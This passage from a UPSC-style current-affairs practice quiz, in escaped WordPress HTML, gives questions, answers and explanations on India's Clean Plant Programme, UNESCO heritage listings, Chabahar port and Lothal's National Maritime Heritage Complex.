(FAO)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>Answer: (b) Asian Development Bank (ADB)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\"><strong>In NEWS: <\/strong>Seeds of the Future: Clean Plant Programme Gaining Momentum<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>The Clean Plant Programme (CPP):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-119\">\n<li>India\u2019s Clean Plant Program (CPP), conceptualized by the <strong>Ministry of Agriculture &amp; Farmers Welfare<\/strong> in collaboration with the<strong> Asian Development Bank. Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>It is a novel initiative aimed at ensuring <strong>healthy, disease-free planting material<\/strong> of key fruit crops.<\/li>\n\n\n\n<li>The program seeks to enhance farmers\u2019 <strong>productivity and profitability<\/strong>, ultimately boosting India\u2019s global competitiveness.<\/li>\n\n\n\n<li><strong>Nine Clean Plant Centres (CPCs)<\/strong> are to be established across India, equipped with <strong>advanced tissue culture labs and diagnostic facilities<\/strong>.<\/li>\n\n\n\n<li>The programme provides <strong>financial assistance to nurseries<\/strong>: \u20b93 crore for large nurseries and \u20b91.5 crore for medium nurseries, targeting <strong>production of 8 crore disease-free seedlings annually<\/strong>.<\/li>\n\n\n\n<li>Target crops include <strong>fruits<\/strong> (mango, pomegranate, grapes, citrus, litchi, apple, berries), <strong>nuts<\/strong> (almond, walnut), and <strong>ornamental plants<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2015)<\/strong> <br><br><strong>Q. \u2018BioCarbon Fund Initiative for Sustainable Forest Landscapes\u2019 is managed by the<\/strong> <br><br>(a) Asian Development Bank <br>(b) International Monetary Fund <br>(c) United Nations Environment Programme <br><strong>(d) World Bank<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2169147\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2169147<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>7. Consider the following:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\">1. Kakatiya Rudreshwara Temple<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\">2. Erra Matti Dibbalu<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\">3. Ajanta Caves<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\">4. Varkala Cliffs<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\">5. Maratha Military Landscapes<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\">6. Tirumala Hills<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\">7. Mound-Burial System of the Ahom Dynasty<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\"><strong>Which of the above properties were included in UNESCO&#8217;s World Heritage Sites?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\">(a) 1, 2, 4 and 5 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\">(b) 2, 3, 6 and 7 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\">(c) 1, 3, 5 and 7 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\">(d) 2, 3, 4, 5, 6 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\"><strong>Answer: (c) 1, 3, 5 and 7 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\"><strong>In NEWS:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-137\">\n<li>Seven remarkable natural heritage sites from India have been included in UNESCO\u2019s Tentative List of World Heritage Sites.<\/li>\n\n\n\n<li>India now has a total of 69 sites under consideration by UNESCO, comprising 49 cultural, 17 natural, and 3 mixed heritage properties. This accomplishment reaffirms India\u2019s unwavering commitment to preserving and promoting its extraordinary natural and cultural legacy.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\"><strong>Newly Added Sites in Tentative List:<\/strong><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\"><strong>Deccan Traps at Panchgani and Mahabaleshwar, Maharashtra :<\/strong>Home to some of the best-preserved and studied lava flows in the world, these sites form part of the massive Deccan Traps and are located within the Koyna Wildlife Sanctuary\u2014already a UNESCO World Heritage Site.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>Geological Heritage of St. Mary\u2019s Island Cluster, Karnataka:<\/strong> Known for its rare columnar basaltic rock formations, this island cluster dates back to the Late Cretaceous period, offering a geological snapshot from around 85 million years ago.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\"><strong>Meghalayan Age Caves, Meghalaya:<\/strong> The stunning cave systems of Meghalaya, particularly the Mawmluh Cave, serve as the global reference point for the Meghalayan Age in the Holocene Epoch, reflecting significant climate and geological transitions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>Naga Hill Ophiolite, Nagaland: A<\/strong> rare exposure of ophiolite rocks, these hills represent oceanic crust uplifted onto continental plates\u2014offering deep insights into tectonic processes and mid-ocean ridge dynamics.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>Erra Matti Dibbalu (Red Sand Hills), Andhra Pradesh: <\/strong>These visually striking red sand formations near Visakhapatnam showcase unique paleo-climatic and coastal geomorphological features that reveal Earth\u2019s climatic history and dynamic evolution.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\"><strong>Natural Heritage of Tirumala Hills, Andhra Pradesh: <\/strong>Featuring the Eparchaean Unconformity and the iconic Silathoranam (Natural Arch), this site holds immense geological significance, representing over 1.5 billion years of Earth\u2019s history.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>Varkala Cliffs, Kerala:<\/strong> The scenic cliffs along Kerala\u2019s coastline expose the Warkalli Formation of the Mio-Pliocene age, along with natural springs and striking erosional landforms, offering both scientific and touristic value.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\"><strong>Hence 2, 4 and 6 are not yet added.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong><u>List of World Heritage Sites in India:<\/u><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\"><strong>Cultural &#8211; 36<\/strong><strong><\/strong><\/p>\n\n\n\n<ul style=\"color:#0000ff\" class=\"has-text-color has-link-color wp-block-list wp-elements-149\">\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/251\" target=\"_blank\" rel=\"noopener\">Agra Fort<\/a> (1983)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/242\" target=\"_blank\" rel=\"noopener\"><strong>Ajanta Caves<\/strong><\/a><strong> (1983)<\/strong><strong><\/strong><\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/1502\" target=\"_blank\" rel=\"noopener\">Archaeological Site of Nalanda Mahavihara at Nalanda, Bihar<\/a> (2016)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/524\" target=\"_blank\" rel=\"noopener\">Buddhist Monuments at Sanchi<\/a> (1989)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/1101\" target=\"_blank\" rel=\"noopener\">Champaner-Pavagadh Archaeological Park<\/a> (2004)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/945\" target=\"_blank\" rel=\"noopener\">Chhatrapati Shivaji Terminus (formerly Victoria Terminus)<\/a> (2004)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/234\" target=\"_blank\" rel=\"noopener\">Churches and Convents of Goa<\/a> (1986)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/1645\" target=\"_blank\" rel=\"noopener\">Dholavira: a Harappan City<\/a> (2021)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/244\" target=\"_blank\" rel=\"noopener\">Elephanta Caves<\/a> (1987)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/243\" target=\"_blank\" rel=\"noopener\">Ellora Caves<\/a> (1983)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/255\" target=\"_blank\" rel=\"noopener\">Fatehpur Sikri<\/a> (1986)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/250\" target=\"_blank\" rel=\"noopener\">Great Living Chola Temples<\/a> (1987, 2004)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/241\" target=\"_blank\" rel=\"noopener\">Group of Monuments at Hampi<\/a> (1986)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/249\" target=\"_blank\" rel=\"noopener\">Group of Monuments at Mahabalipuram<\/a> (1984)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/239\" target=\"_blank\" rel=\"noopener\">Group of Monuments at Pattadakal<\/a> (1987)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/247\" target=\"_blank\" rel=\"noopener\">Hill Forts of Rajasthan<\/a> (2013)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/1551\" target=\"_blank\" rel=\"noopener\">Historic City of Ahmadabad<\/a> (2017)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/232\" target=\"_blank\" rel=\"noopener\">Humayun&#8217;s Tomb, Delhi<\/a> (1993)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/1605\" target=\"_blank\" rel=\"noopener\">Jaipur City, Rajasthan<\/a> (2019)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/1570\" target=\"_blank\" rel=\"noopener\"><strong>Kakatiya Rudreshwara (Ramappa) Temple, Telangana<\/strong><\/a><strong> (2021)<\/strong><strong><\/strong><\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/240\" target=\"_blank\" rel=\"noopener\">Khajuraho Group of Monuments<\/a> (1986)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/1056\" target=\"_blank\" rel=\"noopener\">Mahabodhi Temple Complex at Bodh Gaya<\/a> (2002)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/1739\" target=\"_blank\" rel=\"noopener\"><strong>Maratha Military Landscapes of India<\/strong><\/a><strong> (2025)<\/strong><strong><\/strong><\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/1711\" target=\"_blank\" rel=\"noopener\"><strong>Moidams \u2013 the Mound-Burial System of the Ahom Dynasty<\/strong><\/a><strong> (2024)<\/strong><strong><\/strong><\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/944\" target=\"_blank\" rel=\"noopener\">Mountain Railways of India<\/a> (1999, 2005, 2008)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/233\" target=\"_blank\" rel=\"noopener\">Qutb Minar and its Monuments, Delhi<\/a> (1993)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/922\" target=\"_blank\" rel=\"noopener\">Rani-ki-Vav (the Queen\u2019s Stepwell) at Patan, Gujarat<\/a> (2014)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/231\" target=\"_blank\" rel=\"noopener\">Red Fort Complex<\/a> (2007)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/925\" target=\"_blank\" rel=\"noopener\">Rock Shelters of Bhimbetka<\/a> (2003)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/1670\" target=\"_blank\" rel=\"noopener\">Sacred Ensembles of the Hoysalas<\/a> (2023)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/1375\" target=\"_blank\" rel=\"noopener\">Santiniketan<\/a> (2023)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/246\" target=\"_blank\" rel=\"noopener\">Sun Temple, Kon\u00e2rak<\/a> (1984)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/252\" target=\"_blank\" rel=\"noopener\">Taj Mahal<\/a> (1983)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/1321\" target=\"_blank\" rel=\"noopener\">The Architectural Work of Le Corbusier, an Outstanding Contribution to the Modern Movement<\/a> (2016)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/1338\" target=\"_blank\" rel=\"noopener\">The Jantar Mantar, Jaipur<\/a> (2010)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/1480\" target=\"_blank\" rel=\"noopener\">Victorian Gothic and Art Deco Ensembles of Mumbai<\/a> (2018)<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\"><strong>Hence option (c) 1, 3, 5 and 7 are correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\"><strong>Natural &#8211; 7<\/strong><strong><\/strong><\/p>\n\n\n\n<ul style=\"color:#0000ff\" class=\"has-text-color has-link-color wp-block-list wp-elements-152\">\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/1406\" target=\"_blank\" rel=\"noopener\">Great Himalayan National Park Conservation Area<\/a> (2014)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/337\" target=\"_blank\" rel=\"noopener\">Kaziranga National Park<\/a> (1985)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/340\" target=\"_blank\" rel=\"noopener\">Keoladeo National Park<\/a> (1985)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/338\" target=\"_blank\" rel=\"noopener\">Manas Wildlife Sanctuary<\/a> (1985)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/335\" target=\"_blank\" rel=\"noopener\">Nanda Devi and Valley of Flowers National Parks<\/a> (1988, 2005)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/452\" target=\"_blank\" rel=\"noopener\">Sundarbans National Park<\/a> (1987)<\/li>\n\n\n\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/1342\" target=\"_blank\" rel=\"noopener\">Western Ghats<\/a> (2012)<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\"><strong>Mixed &#8211; 1<\/strong><strong><\/strong><\/p>\n\n\n\n<ul style=\"color:#0105ff\" class=\"has-text-color has-link-color wp-block-list wp-elements-154\">\n<li><a href=\"https:\/\/whc.unesco.org\/en\/list\/1513\" target=\"_blank\" rel=\"noopener\">Khangchendzonga National Park<\/a> (2016)<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><br><strong>Q. Consider the following properties included in the World Heritage List released by UNESCO:<\/strong> <br><br>1. Shantiniketan. <br>2. Rani-ki-Vav <br>3. Sacred Ensembles of the Hoysalas <br>4. Mahabodhi Temple Complex at Bodhgaya <br><br><strong>How many of the above properties were included in 2023?<\/strong> <br><br>(a) Only one <br><strong>(b) Only two<\/strong> <br>(c) Only three <br>(d) All four<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2168105\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2168105<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\"><strong>8. With reference to the \u2018Chabahar port\u2019, Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\">I. Chabahar Port is Pakistan\u2019s only oceanic port, providing direct access to the Indian Ocean without passing through the Strait of Hormuz.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\">II. It is located on the Gulf of Oman near the Arabian Sea.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\">III. It serves as the main entry point and transshipment hub for the INSTC (International North-South Transport Corridor), connecting the Indian Ocean to the Caspian Sea.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\"><strong>How many of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\"><strong>Answer: (b) Only two<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\"><strong>In NEWS: <\/strong>U.S. to revoke waiver on Chabahar port sanctions<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\"><strong>Chabahar Port:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-169\">\n<li><strong>Chabahar Port<\/strong> is a <strong>sea port in southeastern Iran<\/strong>, on the <strong>Gulf of Oman<\/strong> near the Arabian Sea. <strong>Hence statement II is correct.<\/strong><\/li>\n\n\n\n<li>It is Iran\u2019s <strong>only oceanic port<\/strong>, providing direct access to the Indian Ocean without passing through the Strait of Hormuz. <strong>Hence statement I is incorrect.<\/strong><\/li>\n\n\n\n<li>The port is strategically located near <strong>Iran\u2013Pakistan border<\/strong>, close to Gwadar Port (Pakistan, China-Pakistan Economic Corridor).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\"><strong>Strategic Significance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-171\">\n<li><strong>India\u2013Iran cooperation:<\/strong> India is developing <strong>Chabahar Port<\/strong> to gain <strong>direct access to Afghanistan and Central Asia<\/strong>, bypassing Pakistan.<\/li>\n\n\n\n<li>It complements India\u2019s <strong>Connect Central Asia policy<\/strong> and <strong>INSTC (International North-South Transport Corridor)<\/strong>.<\/li>\n\n\n\n<li>It serves as the main Iranian entry point and transshipment hub for the INSTC, connecting the Indian Ocean to the Caspian Sea. <strong>Hence statement III is correct.<\/strong><\/li>\n\n\n\n<li>Chabahar enhances India\u2019s <strong>trade connectivity with Afghanistan<\/strong>, <strong>landlocked Central Asia<\/strong>, and <strong>Middle East<\/strong>.<\/li>\n\n\n\n<li>It provides <strong>counterbalance to China\u2019s Gwadar Port<\/strong> in Pakistan, which is part of the China-Pakistan Economic Corridor (CPEC).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\"><strong>Development &amp; Investment<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-173\">\n<li>India, through <strong>Indian companies and lines like IRCON, MMTC, and IAFPL<\/strong>, is investing in port infrastructure, container terminals, and cargo handling.<\/li>\n\n\n\n<li>Development agreement: <strong>India, Iran, Afghanistan signed MoU<\/strong> for port development and transit trade.<\/li>\n\n\n\n<li>Operational since <strong>2017<\/strong> for commercial cargo.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\"><strong>Economic &amp; Geopolitical Importance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-175\">\n<li>Enables India to <strong>export goods to Afghanistan and Central Asia<\/strong> with lower logistics costs.<\/li>\n\n\n\n<li>Strengthens India\u2019s presence in the Indo-Pacific<strong> maritime domain<\/strong>.<\/li>\n\n\n\n<li>Reduces dependence on <strong>Pakistan\u2019s transit routes<\/strong> for Afghan trade.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2017)<\/strong> <br><br><strong>Q. What is the importance of developing Chabahar Port by India?<\/strong> <br><br>(a) India\u2019s trade with African countries will enormously increase. <br>(b) India\u2019s relations with oil producing Arab countries will be strengthened. <br><strong>(c) India will not depend on Pakistan for access to Afghanistan and Central Asia.<\/strong> <br>(d) Pakistan will facilitate and protect the installation of a gas pipeline between Iraq and India<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-176 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/international\/us-to-slap-sanctions-on-chabahar-port-operators-from-september-29\/article70066959.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/international\/us-to-slap-sanctions-on-chabahar-port-operators-from-september-29\/article70066959.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-177 wp-block-paragraph\"><strong>9. With reference to the history of India, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-178 wp-block-paragraph\">1. Lothal is famous for having one of the world\u2019s earliest known dockyards.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\">2. Lothal has evidence of weighing systems for commerce and trading activities.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-180 wp-block-paragraph\">3. The National Maritime Heritage Complex (NMHC) in India is located at Lothal.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-181 wp-block-paragraph\"><strong>How many of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-182 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-183 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-184 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-185 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-186 wp-block-paragraph\"><strong>Answer: (c) All three<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-187 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-188 wp-block-paragraph\"><strong>In NEWS: <\/strong>PM Modi to review Maritime Heritage Complex at Lothal<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-189 wp-block-paragraph\"><strong>The National Maritime Heritage Complex (NMHC):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-190\">\n<li>The National Maritime Heritage Complex (NMHC) is being developed at <strong>Lothal, Gujarat<\/strong>, an Indus Valley site with the world\u2019s earliest known dockyard. <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li>It is an initiative under the <strong>Sagarmala Programme<\/strong>, led by the <strong>Ministry of Ports, Shipping and Waterways<\/strong>.<\/li>\n\n\n\n<li>The project aims to showcase <strong>India\u2019s maritime heritage from Harappan times to the present<\/strong> through museums, galleries, and theme parks.<\/li>\n\n\n\n<li>The Ministry of Culture has signed an <strong>MoU<\/strong> with the Ministry of Ports, Shipping &amp; Waterways to provide artefacts and content for exhibitions.<\/li>\n\n\n\n<li>Once completed, it will be among the <strong>largest maritime museums in the world<\/strong>, boosting India\u2019s cultural tourism and maritime identity.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-191 wp-block-paragraph\"><strong>Lothal:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-192\">\n<li>Lothal is an archaeological site of the <strong>Indus Valley Civilization (Harappan Civilization),<\/strong> located in <strong>Gujarat<\/strong>, near the Gulf of Khambhat.<\/li>\n\n\n\n<li>Excavation was carried out in 1954\u20131960 by <strong>S. R. Rao, <\/strong>a prominent Indian archaeologist.<\/li>\n\n\n\n<li>Lothal was an important <strong>trading and manufacturing centre<\/strong> of the Indus Valley Civilization (~2400\u20131900 BCE).<\/li>\n\n\n\n<li>It is famous for having one of the <strong>world\u2019s earliest known dockyards<\/strong>, facilitating maritime trade. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>The site shows evidence of <strong>bead making, gem polishing, semi-precious stone trade, and weighing systems<\/strong> used in commerce. <strong>Hence statement 2 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-193 wp-block-paragraph\"><strong>Key Features of the Site<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-194\">\n<li><strong>Dockyard:<\/strong> Rectangular basin connected to a river, showing advanced maritime engineering.<\/li>\n\n\n\n<li><strong>Bead-making workshops:<\/strong> Indicating high-level craft and trade activities.<\/li>\n\n\n\n<li><strong>Seal impressions &amp; weights:<\/strong> Evidence of trade, commerce, and administrative control.<\/li>\n\n\n\n<li><strong>Drainage &amp; residential structures:<\/strong> Demonstrates planned urban layout typical of Harappan sites.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2021)<\/strong> <br><br><strong>Q. Which one of the following ancient towns is well-known for its elaborate system of water harvesting and management by building a series of dams and channelizing water into connected reservoirs?<\/strong> <br><br><strong>(a) Dholavira<\/strong> <br>(b) Kalibangan <br>(c) Rakhigarhi <br>(d) Ropar<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-195 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/gujarat\/pm-modi-to-review-national-maritime-heritage-complex-at-lothal\/article70065658.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/gujarat\/pm-modi-to-review-national-maritime-heritage-complex-at-lothal\/article70065658.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-196 wp-block-paragraph\"><strong>10. Consider the following:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-197 wp-block-paragraph\">1. Butterflies<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-198 wp-block-paragraph\">2. Fish<\/p>\n\n\n\n<p class=\"has-black-color has-text-color 